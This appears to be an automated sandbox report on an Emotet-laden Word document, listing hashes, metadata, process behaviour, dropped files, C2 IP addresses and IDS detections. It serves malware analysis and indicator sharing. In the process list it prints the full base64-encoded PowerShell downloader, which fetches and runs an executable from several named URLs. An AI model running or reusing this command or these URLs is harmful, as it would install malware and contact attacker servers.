analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

FT_10051140855_Oct2019.doc

Full analysis: https://app.any.run/tasks/81d5d990-5508-4ccb-82f9-00c9e8e9a1b1
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Analysis date: October 14, 2019, 14:38:35
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
loader
emotet
trojan
emotet-doc
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: Buckinghamshire, Subject: fuchsia, Author: Edgar McLaughlin, Keywords: Lek, Comments: Generic, Template: Normal.dotm, Last Saved By: Allene Goldner, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Mon Oct 14 07:34:00 2019, Last Saved Time/Date: Mon Oct 14 07:34:00 2019, Number of Pages: 1, Number of Words: 30, Number of Characters: 175, Security: 0
MD5:

FF347611C1E0028FA5616CC27905EE85

SHA1:

8542678C81DF90069E7FCE6FB9E632383C5EC931

SHA256:

A42446ED70BD4F68D6B40E0778DC63ABF2C5A0990D16320C455E0663C0EDF58D

SSDEEP:

6144:oH41HaeCaKUzSdWnLx3X5F1TpJWsWO/g2aJFCHosE9:oH41HaeC3UGdWt3dF/g2cEBe

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • Application was dropped or rewritten from another process

      • 743.exe (PID: 1316)
      • msptermsizes.exe (PID: 2864)
      • 743.exe (PID: 1504)
      • msptermsizes.exe (PID: 3356)
    • Downloads executable files from the Internet

      • powershell.exe (PID: 436)
    • Emotet process was detected

      • 743.exe (PID: 1504)
    • Connects to CnC server

      • msptermsizes.exe (PID: 3356)
    • EMOTET was detected

      • msptermsizes.exe (PID: 3356)
  • SUSPICIOUS

    • Creates files in the user directory

      • powershell.exe (PID: 436)
    • Executed via WMI

      • powershell.exe (PID: 436)
    • PowerShell script executed

      • powershell.exe (PID: 436)
    • Executable content was dropped or overwritten

      • powershell.exe (PID: 436)
      • 743.exe (PID: 1504)
    • Starts itself from another location

      • 743.exe (PID: 1504)
    • Connects to unusual port

      • msptermsizes.exe (PID: 3356)
  • INFO

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2800)
    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2800)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title: Buckinghamshire
Subject: fuchsia
Author: Edgar McLaughlin
Keywords: Lek
Comments: Generic
Template: Normal.dotm
LastModifiedBy: Allene Goldner
RevisionNumber: 1
Software: Microsoft Office Word
TotalEditTime: -
CreateDate: 2019:10:14 06:34:00
ModifyDate: 2019:10:14 06:34:00
Pages: 1
Words: 30
Characters: 175
Security: None
CodePage: Windows Latin 1 (Western European)
Company: Bechtelar - Moore
Lines: 1
Paragraphs: 1
CharCountWithSpaces: 204
AppVersion: 16
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Title
  • 1
Manager: Paucek
CompObjUserTypeLen: 32
CompObjUserType: Microsoft Word 97-2003 Document
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
42
Monitored processes
6
Malicious processes
5
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start drop and start winword.exe no specs powershell.exe 743.exe no specs #EMOTET 743.exe msptermsizes.exe no specs #EMOTET msptermsizes.exe

Process information

PID
CMD
Path
Indicators
Parent process
2800"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\FT_10051140855_Oct2019.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXEexplorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
436powershell -e PAAjACAAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AbQBpAGMAcgBvAHMAbwBmAHQALgBjAG8AbQAvACAAIwA+ACAAJABhADAAeABmADYAMAA5ADYAOABkADYAOQBkAD0AJwBhADAAeAA1AGIANABhADIANABhAGYANQA1ACcAOwAkAGEAMAB4ADUAMwBmAGUANgA1ADMAYgBmAGQAMQBhAGIANgA2ACAAPQAgACcANwA0ADMAJwA7ACQAYQAwAHgAMAAxADAAYgBiAGYAYwBiADkANwA1ADkAPQAnAGEAMAB4ADkAZgA5AGUANgA1AGIAZgA3AGMAMwBlAGIAYgAnADsAJABhADAAeAA4AGUAMQAxAGUAYQBkADcAMQBkADQANwBiAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABhADAAeAA1ADMAZgBlADYANQAzAGIAZgBkADEAYQBiADYANgArACcALgBlAHgAZQAnADsAJABhADAAeAAzAGUANgA5ADcAYgA1AGUAMgA5AD0AJwBhADAAeAAxAGMANQA4AGIAMwA2ADYAYgA0AGIAZAAxACcAOwAkAGEAMAB4AGQANAAzADkANwAxADMANgBlADQAMQAxADMAZgA2AD0AJgAoACcAbgBlAHcALQBvAGIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIABuAEUAVAAuAFcAZQBCAEMATABJAGUATgBUADsAJABhADAAeAAyAGUAZAA2AGIANgBlADEAYgA4ADUAMQA9ACcAaAB0AHQAcAA6AC8ALwBzAGcAbgByAC4AaQBuAC8AZABpAGUAdABpAHQAaQBhAG4AcwBhAGsAcwBoAGkALwBhADQAZABlAG4AbwAzAHcALQA3AGsAZQA3AHkAMgAtADcAMAA2ADMANwAwADQAMQAyAC8AKgBoAHQAdABwADoALwAvAHAAZQBkAHIAbwBvAHQAYQB2AGkAbwAuAHQAbwBwAC8AYwBnAGkALQBiAGkAbgAvADkAaQBhAGwAZQAtAGMAYQA2AGQAdAByADYAZwBrAC0ANQA2ADEANQAxADcANgAyAC8AKgBoAHQAdABwAHMAOgAvAC8AagAtAGMAdABhAC4AbwByAGcALwB3AHAALQBhAGQAbQBpAG4ALwBMAGcAYgBvAFkASQBtAC8AKgBoAHQAdABwAHMAOgAvAC8AdABoAGUAaABvAG0AZQBiAGUAbgBlAGYAaQB0AHAAcgBvAGcAcgBhAG0ALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAEgAcgBjAGkAQwBOAC8AKgBoAHQAdABwAHMAOgAvAC8AYQBkAGEAbgB6AHkAZQB5AGEAcABpAC4AYwBvAG0ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwA0AHYAMABwAC0AdAAxAGUANgBzADYAbQA2AC0AMAA5ADgALwAnAC4AIgBTAFAATABgAGkAdAAiACgAJwAqACcAKQA7ACQAYQAwAHgAYwAzADEAMABlADMANwAzAGYAZQBkAD0AJwBhADAAeABjAGMAYQAwAGQAYgA3AGEAMgA3ACcAOwBmAG8AcgBlAGEAYwBoACgAJABhADAAeAAyAGEAZABiAGIAZABmADEAMwAxAGYANQA0ADgAIABpAG4AIAAkAGEAMAB4ADIAZQBkADYAYgA2AGUAMQBiADgANQAxACkAewB0AHIAeQB7ACQAYQAwAHgAZAA0ADMAOQA3ADEAMwA2AGUANAAxADEAMwBmADYALgAiAEQATwBXAG4AYABMAG8AQQBgAEQAYABGAGkATABlACIAKAAkAGEAMAB4ADIAYQBkAGIAYgBkAGYAMQAzADEAZgA1ADQAOAAsACAAJABhADAAeAA4AGUAMQAxAGUAYQBkADcAMQBkADQANwBiACkAOwAkAGEAMAB4AGUAZgAyADgANwA3ADIAMQA1ADUANQA5AGEAPQAnAGEAMAB4AGQANQBiADUAOABjADAANwBmADMAMQAzAGUAZABkACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQAYQAwAHgAOABlADEAMQBlAGEAZAA3ADEAZAA0ADcAYgApAC4AIgBMAEUAYABOAEcAYABUAGgAIgAgAC0AZwBlACAAMwA4ADUANwA0ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAYABUAEEAUgBUACIAKAAkAGEAMAB4ADgAZQAxADEAZQBhAGQANwAxAGQANAA3AGIAKQA7ACQAYQAwAHgAYwBiADAANAA0AGEAOAA3AGIANwA1ADcAPQAnAGEAMAB4ADUAYQAyADkANAA3ADIAYwA4AGQANwAzADUANgAnADsAYgByAGUAYQBrADsAJABhADAAeAA0ADgAYQA5AGMAZgAzADQAOABiADMAZQA9ACcAYQAwAHgAYgAwADgAMgBiADkAYwAzADgAMgBhADAAMwAyACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAGEAMAB4ADQAMgAzADgAMwBjAGMAZAAzADYANwBkADAAOQA9ACcAYQAwAHgAZgAyADIANwBhADIAYQBhADYAMABmADgAZgBjAGIAJwA=C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
1316"C:\Users\admin\743.exe" C:\Users\admin\743.exepowershell.exe
User:
admin
Integrity Level:
MEDIUM
Description:
DirectoryBrowse MFC Application
Exit code:
0
Version:
1, 0, 0, 1
1504--a90d1734C:\Users\admin\743.exe
743.exe
User:
admin
Integrity Level:
MEDIUM
Description:
DirectoryBrowse MFC Application
Exit code:
0
Version:
1, 0, 0, 1
2864"C:\Users\admin\AppData\Local\msptermsizes\msptermsizes.exe"C:\Users\admin\AppData\Local\msptermsizes\msptermsizes.exe743.exe
User:
admin
Integrity Level:
MEDIUM
Description:
DirectoryBrowse MFC Application
Exit code:
0
Version:
1, 0, 0, 1
3356--f91b2738C:\Users\admin\AppData\Local\msptermsizes\msptermsizes.exe
msptermsizes.exe
User:
admin
Integrity Level:
MEDIUM
Description:
DirectoryBrowse MFC Application
Version:
1, 0, 0, 1
Total events
2 499
Read events
1 641
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
2
Text files
2
Unknown types
17

Dropped files

PID
Process
Filename
Type
2800WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRAB00.tmp.cvr
MD5:
SHA256:
436powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\QCDLMIF107IGWWPT4AJ8.temp
MD5:
SHA256:
2800WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:349E0FB7187B89699A163341F1E7FC0D
SHA256:65FA453E6C01ED2497BFD278A362B8F4EF6DB556462F4319E4211B8F664F09F5
2800WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\1A132B77.wmfwmf
MD5:9F6153DF2AE80E56D6FF0A8E86536CB2
SHA256:C93034B7E7BE21459A11598D4D2B24797F1243A606505226A71EDAA640EF36EF
2800WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\FT_10051140855_Oct2019.doc.LNKlnk
MD5:91F3427DBD4E8D96AE2B7B929BBD4AA5
SHA256:990A6636B06EE0500FDB4EBF058E380E74BF8F61A6F086E976448D70681B4F70
2800WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\91EDCCB3.wmfwmf
MD5:7487774CCFC6621FA9C78FC8EF8E8635
SHA256:B2A46F48C332BDDF0B33E1E8FBE4FAAAAFC56FD3DC915120BD3EA6143CD04696
2800WINWORD.EXEC:\Users\admin\AppData\Local\Temp\Word8.0\MSForms.exdtlb
MD5:AD247E9A61C2DD8CC11EEF251B0F5151
SHA256:A7EE445E7CC3BFDD81EDCD8058B2537B041627037DB05C3A1CE6794A6D03E944
2800WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Office\Recent\index.dattext
MD5:AF45EF32790D6B1E930073292250DEB9
SHA256:87814537FC9BA680CED5550005EEBD13ADBBC914E7B92FCEA95B4FA50A4E980D
2800WINWORD.EXEC:\Users\admin\Desktop\~$_10051140855_Oct2019.docpgc
MD5:2C8DEB5A8075472A1542E7EDE5B11D12
SHA256:187055ECDAFED66A236E52ABD0DDDFA290B2F41CC0F409D61D68DEF78C94B5B8
2800WINWORD.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C2F101CE.wmfwmf
MD5:14B3FCD741F1C6DD9E6871B142956FE2
SHA256:03E4C21C4C10823DB3C9422E59C201AE5BCA71EE6CEEC37A56B89C053272A262
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
4
DNS requests
1
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3356
msptermsizes.exe
POST
203.99.187.137:443
http://203.99.187.137:443/badge/nsip/
PK
malicious
3356
msptermsizes.exe
POST
200.55.168.82:20
http://200.55.168.82:20/symbols/
CU
malicious
436
powershell.exe
GET
200
13.234.168.135:80
http://sgnr.in/dietitiansakshi/a4deno3w-7ke7y2-706370412/
IN
executable
540 Kb
suspicious
3356
msptermsizes.exe
POST
190.117.206.153:443
http://190.117.206.153:443/site/enabled/add/merge/
PE
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3356
msptermsizes.exe
190.117.206.153:443
America Movil Peru S.A.C.
PE
malicious
3356
msptermsizes.exe
200.55.168.82:20
Empresa de Telecomunicaciones de Cuba, S.A.
CU
malicious
436
powershell.exe
13.234.168.135:80
sgnr.in
Amazon.com, Inc.
IN
suspicious
3356
msptermsizes.exe
203.99.187.137:443
Pakistan Telecom Company Limited
PK
malicious

DNS requests

Domain
IP
Reputation
sgnr.in
  • 13.234.168.135
suspicious

Threats

PID
Process
Class
Message
436
powershell.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
436
powershell.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
436
powershell.exe
Misc activity
ET INFO EXE - Served Attached HTTP
3356
msptermsizes.exe
A Network Trojan was detected
ET CNC Feodo Tracker Reported CnC Server group 11
3356
msptermsizes.exe
A Network Trojan was detected
AV TROJAN W32/Emotet CnC Checkin (Apr 2019)
3356
msptermsizes.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
3356
msptermsizes.exe
Potentially Bad Traffic
ET POLICY HTTP traffic on port 443 (POST)
3356
msptermsizes.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
3356
msptermsizes.exe
Potentially Bad Traffic
ET POLICY HTTP traffic on port 443 (POST)
3356
msptermsizes.exe
A Network Trojan was detected
MALWARE [PTsecurity] Feodo/Emotet
8 ETPRO signatures available at the full report
No debug info